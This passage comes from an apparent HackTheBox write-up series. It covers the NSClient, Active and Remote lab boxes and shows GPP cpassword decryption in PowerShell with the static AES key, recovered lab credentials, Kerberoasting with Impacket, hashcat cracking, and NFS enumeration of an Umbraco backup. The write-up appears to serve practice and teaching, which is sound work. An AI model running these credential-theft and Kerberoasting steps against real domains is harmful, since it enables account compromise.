alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0270.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Project: &lt;a class="link" href="https://github.com/xtizi/NSClient-0.5.2.35---Privilege-Escalation/blob/master/exploit.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/xtizi/NSClient-0.5.2.35&amp;mdash;Privilege-Escalation/blob/master/exploit.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I finally understood why the rating was so low. Overall, though, the box wasn&amp;rsquo;t too bad. At the time, I thought this route might be a dead end and that I might need to investigate NVMS1000 instead. But all the NVMS vulnerabilities I could find were directory traversal issues, with nothing useful for privilege escalation, while every search for NSClient turned up RCE and privilege-escalation vulnerabilities. The problem was that there was no complete attack chain supporting this route—it all came down to guesswork. First, I had no way to confirm the version. All I had was a log file whose newest timestamps appeared to be from 2016. Second, even connecting with Netcat locally gave me no indication that the service actually existed. By the time I was testing it, the whole idea felt impossible. Maybe the hint:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0271.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;was meant to tell me that it could only be accessed locally. Also, “sharepoint” doesn&amp;rsquo;t necessarily refer only to Microsoft&amp;rsquo;s product; it can also mean a web location. All in all, it was still a pretty interesting box. The low rating may be because the target had antivirus installed, making many tools unusable. Afterward, I started experimenting with how to access the https site locally as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0272.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Adding -k is sufficient&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -k https://localhost:8443/index.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# I omitted the file, so I did not receive the redirect and assumed the response was empty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add -L here to follow redirects&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -k https://localhost:8443/ -L&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="13active"&gt;&lt;a href="#13active" class="header-anchor"&gt;&lt;/a&gt;13.Active&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0273.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;smb&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0274.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;By default, two folders allow anonymous access, while another two require you to log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0275.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It looks like users requires a login too.&lt;/p&gt;&#10;&lt;p&gt;When I started digging through those folders, I realized I seemed to have learned about this SYSVOL thing before.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/1653?time__1311=n4%2BxniitG%3DDtdDKi%3D%3DDs03xCq7KGQ%3D8GeCoK7e4D" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/1653?time__1311=n4%2BxniitG%3DDtdDKi%3D%3DDs03xCq7KGQ%3D8GeCoK7e4D&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://adsecurity.org/?p=2288" target="_blank" rel="noopener"&#10; &gt;https://adsecurity.org/?p=2288&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0276.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After some searching, I managed to dig up the password as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function Get-DecryptedCpassword {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [CmdletBinding()]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Param (&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [string] $Cpassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; )&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #Append appropriate padding based on string length&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $Mod = ($Cpassword.length % 4)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; switch ($Mod) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;1&amp;#39; {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;2&amp;#39; {$Cpassword += (&amp;#39;=&amp;#39; * (4 - $Mod))}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;3&amp;#39; {$Cpassword += (&amp;#39;=&amp;#39; * (4 - $Mod))}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $Base64Decoded = [Convert]::FromBase64String($Cpassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #Create a new AES .NET Crypto Object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #Set IV to all nulls to prevent dynamic generation of IV value&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesIV = New-Object Byte[]($AesObject.IV.Length)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesObject.IV = $AesIV&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesObject.Key = $AesKey&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $DecryptorObject = $AesObject.CreateDecryptor()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; catch {Write-Error $Error[0]}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DecryptedCpassword &amp;#34;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0277.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It decrypted successfully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;active.htb\SVC_TGS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GPPstillStandingStrong2k18&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I checked things one by one, then came back to the SMB service before looking at the others. Users was accessible now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0278.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0279.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It really was the Users folder, and I got the flag.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0280.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no constrained delegation.&lt;/p&gt;&#10;&lt;p&gt;I spent a long time trying things next, mostly the two commands below. In fact, I should have just tried GetUserSPNs and been done with it, since that was exactly what the hint pointed to. I simply hadn&amp;rsquo;t read the error carefully at the time.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py DC.active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip active.htb -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python getST.py -dc-ip active.htb -spn cifs/DC.active.htb -impersonate Administrator active.htb/SVC_TGS:GPPstillStandingStrong2k18&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0281.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The command below can adjust the time, but the error comes back again a few seconds after the adjustment.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u active.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This tutorial solved the problem and let me set the time correctly.&lt;/p&gt;&#10;&lt;p&gt;Anyway, I got the hash.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0282.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0283.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0284.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ticketmaster1968&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;PTH&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0285.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;It felt pretty manageable overall—mostly a chance to get more familiar with an AD environment. I overlooked the clock-sync issue and wasted a bit of time there, but the box was generally good practice for getting comfortable with AD penetration testing.&lt;/p&gt;&#10;&lt;h2 id="14remote"&gt;&lt;a href="#14remote" class="header-anchor"&gt;&lt;/a&gt;14.Remote&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0286.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0287.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through every port one by one except 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0288.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Anonymous FTP worked, but there was nothing there. I made a note of it for now—maybe the FTP directory was also the web root.&lt;/p&gt;&#10;&lt;p&gt;SMB didn&amp;rsquo;t allow anonymous access.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0289.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;d used NFS a few times on VulnHub before, but that was quite a while ago. Luckily, I still had my notes.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;showmount -e 10.10.10.180&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0290.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir ./site_backups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount -t nfs 10.10.10.180:/site_backups ./site_backups&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0291.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I had everything, so it was time to see what was actually running on port 80.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0292.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t find anything interesting.&lt;/p&gt;&#10;&lt;p&gt;I started digging through the NFS share alongside the website. This was my first time seeing a directory structure like this, so I searched around to figure out what it was.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0293.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked a lot of directories but still couldn&amp;rsquo;t find the main page, so I went straight to &lt;code&gt;find&lt;/code&gt;. It loaded every file while searching, which made things a little sluggish.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find ./ -name *.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find ./ -name *.aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find ./ -name *.asp&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I noticed that all these files were concentrated in one directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0294.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I looked up Umbraco, and sure enough, it was a framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0295.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also had plenty of RCE vulnerabilities. First, though, I needed to find the version.&lt;/p&gt;&#10;&lt;p&gt;I found a few leads: one pointed to the admin page, another suggested checking the application, and one more said the version might be in webconfig. While searching for other webconfig files, I also tried a common exploit directly, but it apparently required credentials.&lt;/p&gt;&#10;&lt;p&gt;I started Googling and manually searching for credentials. Google results said the username and password would both be in the database, not anywhere else.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0296.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While searching, I found the version. It matched the exploit I was looking at exactly, but I still needed credentials to use it.&lt;/p&gt;&#10;&lt;p&gt;Eventually, while Googling, I found where the SQL credentials were stored.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/36979794/umbraco-database-connection-credentials" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/36979794/umbraco-database-connection-credentials&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;According to that post, the file was at App_Data/Umbraco.sdf, and I would need to convert the Umbraco SQL CE database to SQL Express.&lt;/p&gt;&#10;&lt;p&gt;The tool URL they provided no longer worked: &lt;a class="link" href="http://sqlcetoolbox.codeplex.com/" target="_blank" rel="noopener"&#10; &gt;http://sqlcetoolbox.codeplex.com/&lt;/a&gt;. The other tutorials all used a plugin installed in VS, but I still managed to find the tool itself.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/ErikEJ/SqlCeToolbox/releases/download/4.8.732/SqlCe40ToolBox.zip" target="_blank" rel="noopener"&#10; &gt;https://github.com/ErikEJ/SqlCeToolbox/releases/download/4.8.732/SqlCe40ToolBox.zip&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It was extremely awkward to use. It required a database connection before it could open anything; without one, it couldn&amp;rsquo;t decode the file. I was completely stuck here. I never expected an easy box to stop me dead like this. But when I took another look at the file, I realized most of it was binary, so getting mostly garbled output from cat was perfectly normal. There was still some noise in strings too, but most of its output was clearly readable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0297.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried skipping the tool and just running strings directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0298.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0299.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table 